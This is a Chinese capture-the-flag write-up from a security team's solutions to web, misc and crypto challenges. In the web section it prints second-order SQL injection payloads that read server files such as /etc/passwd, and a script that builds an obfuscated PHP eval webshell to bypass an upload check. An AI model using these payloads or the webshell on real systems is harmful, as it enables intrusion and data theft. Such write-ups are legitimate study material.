内容简介:本文来自 ChaMd5安全团队,文章内容以思路为主。如需转载,请先联系ChaMd5安全团队授权。
本文来自 ChaMd5安全团队,文章内容以思路为主。
如需转载,请先联系ChaMd5安全团队授权。
未经授权请勿转载。
Web类题目
comment
find the flag.find the flag.
解题思路打开后需要登录,根据提示爆破得到账号密码 zhangwei
zhangwei666 http://2e8c0fad02d147a6b3f23624556a2fe49a4b7d2b64484f3c.game.ichunqiu.com//.git/利用git拉下来源码,发现源码少了过程。在Chrome的dev tools里也看到了提示:
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do']){
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board set category = '$category',title = '$title', content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment set category = '$category',content = '$content', bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
} else {
header("Location: ./index.php");
}
?>
可以看到在留⾔的地⽅category存在⼆次注⼊才到发帖处构造payload,即可注⼊
category=', content=database(),bo_id='1' ON DUPLICATE KEY UPDATE category='&title=1&content=1
对整个数据库查看之后发现数据库中并⽆flag,尝试读取⽂件发现可以读取
category=', content=(select load_file('/etc/passwd'), bo_id='1' ON DUPLICATE KEY UPDATE category='&title=1&content=1
于是读取passwd发现存在www⽤户,其家⽬录为/home/www 读取⽤户的.bash_history发现了部署过程
可以看到部署过程中先cp然后删除⽂件,即原先的⽂件夹中还保留着.DS_Store 于是尝试读取/home/www/html/.DS_Store 失败,百思不得其解,思索了好久想明⽩,环境 是⽤docker部署的,临时⽂件都在/tmp⾥,md这步坑死了。于是读取/tmp/html/.DS_Store 即可拿到⽂件名称。
再次读取flag⽂件即可,⼀开始还读去了个假flag。。。。。
再次读取/var/www/html/flag_8946e1ff1ee3e40f.php即可获取到真实flag
NoWafUpload
We no waf!
解题思路
import hashlib
import zlib
def md5(s):
hash = hashlib.md5()
hash.update(s)
return hash.hexdigest()
shell = "<?php eval($_POST['line']);?>"
ret = ""
for i in zlib.compress(shell):
ret += chr(ord(i) ^ 0xC)
s_len = chr(0x2)
s = md5(ret) + s_len + "\x00" * 4 + s_len + "\x00" * 4 + ret
f = open("line.php", "wb")
f.write(s)
f.close()
最后在根⽬录得到flag
blog
解题思路打开是个wordpress,发现主⻚上赫然写着⻘⻰鼎科技,尝试github搜 qinglongdingkeji.com 搜到了⼀个仓库
在api.php⾥泄露了接⼝,所以直接爆破uid即可
Misc类题目
双色快
Download 备⽤下载(密码za3y)
https://share.weiyun.com/5evIo7h
解题思路解压得到⼀个gif,binwalk分析发现尾部有png,拿出来是⼀个密码
#! /usr/bin/env python2
# -*- coding: utf-8 -*-
import os
from PIL import Image
def main(gif_file):
png_dir = 'frame/'
img = Image.open(gif_file)
try:
while True:
current = img.tell()
img.save(png_dir + str(current + 1) + '.png')
img.seek(current + 1)
expect:
pass
if __name__ == '__main__':
gif_file = 'out.gif'
main(gif_file)
然后读取每个png中的对应点的信息,并按照8bit转换为ascii
#! /usr/bin/env python2
# -*- coding: utf-8 -*-
import os
from PIL import Image
def main():
png_dir = 'frame/'
ret = ""
for i in range(0,24):
line = ""
for j in range(0,24):
file_name = "frame/" + str(i * 24 + j + 1) + ".png"
x = j * 10 + 5
y = i * 10 + 5
img = Image.open(file_name)
img = img.convert("RGB")
img_array = img.load()
r, g, b = p = img_array[x, y]
if g == 255:
line += "0"
if r == 255 and b == 255:
line += "1"
if len(line) == 8:
ret += chr(int(line, 2))
line = ""
print ret
if __name__ == '__main__':
main()
然后进⾏DES解密即可
Welcome
Download 备⽤下载(密码3ujt)
https://pan.baidu.com/s/1NlgCNoaUdZayOHIBI29yVQ
解题思路下载附件得到⼀堆分卷,合并后得到原始压缩包,然后发现需要解密 然后尝试zip爆破,跑了仨⼩时多,跑出来密码了
解压后得到flag
Crypto类题目
Number
nc 106.75.64.61 16356
from gmpy2 import *
from pwn import *
ip='106.75.106.14'
port=12522
def getnm():
p=remote(ip,port)
p.recvline()
n1=int(p.recvline()[:-1])
m1=int(p.recvline()[:-1])
p.close()
return n1,m1
n1,m1=getnm()
n2,m2=getnm()
p=gcd(n1-m1,n2-m2)
print('n1',n1)
print('m1',m1)
print('n2',n2)
print('m1',m2)
print('p',hex(p))
print('x1',hex(n1/p))
print('x2',hex(n2/p))
print('y1',hex(m1/p))
print('y2',hex(m2/p))
x1=n1/p
x2=n2/p
flag1=n1%p
flag2=n2%p
print('flag1',flag1)
print('flag2',flag2)
print(flag1)
print(hex(flag1))
print('flag',hex(flag1)[2:].decode('hex'))
shenyue
nc 106.75.64.61 16356
解题思路 python 代码,分析流程后直接操作即可getflag
shanghai
解题思路维吉利亚密码直接解密
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- 你负责人工智能哪部分?人工那部分;知识图谱的构建主要靠人工还是机器?
- cocosdx接bugly,上传符号表,有一部分内容解析出来了, 另一部分没有解析出来
- GO的部分总结~
- MySQL基础部分总结
- python字典实例(部分)
- DDCTF2018 部分writeup
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Machine Learning
Kevin Murphy / The MIT Press / 2012-9-18 / USD 90.00
Today's Web-enabled deluge of electronic data calls for automated methods of data analysis. Machine learning provides these, developing methods that can automatically detect patterns in data and then ......一起来看看 《Machine Learning》 这本书的介绍吧!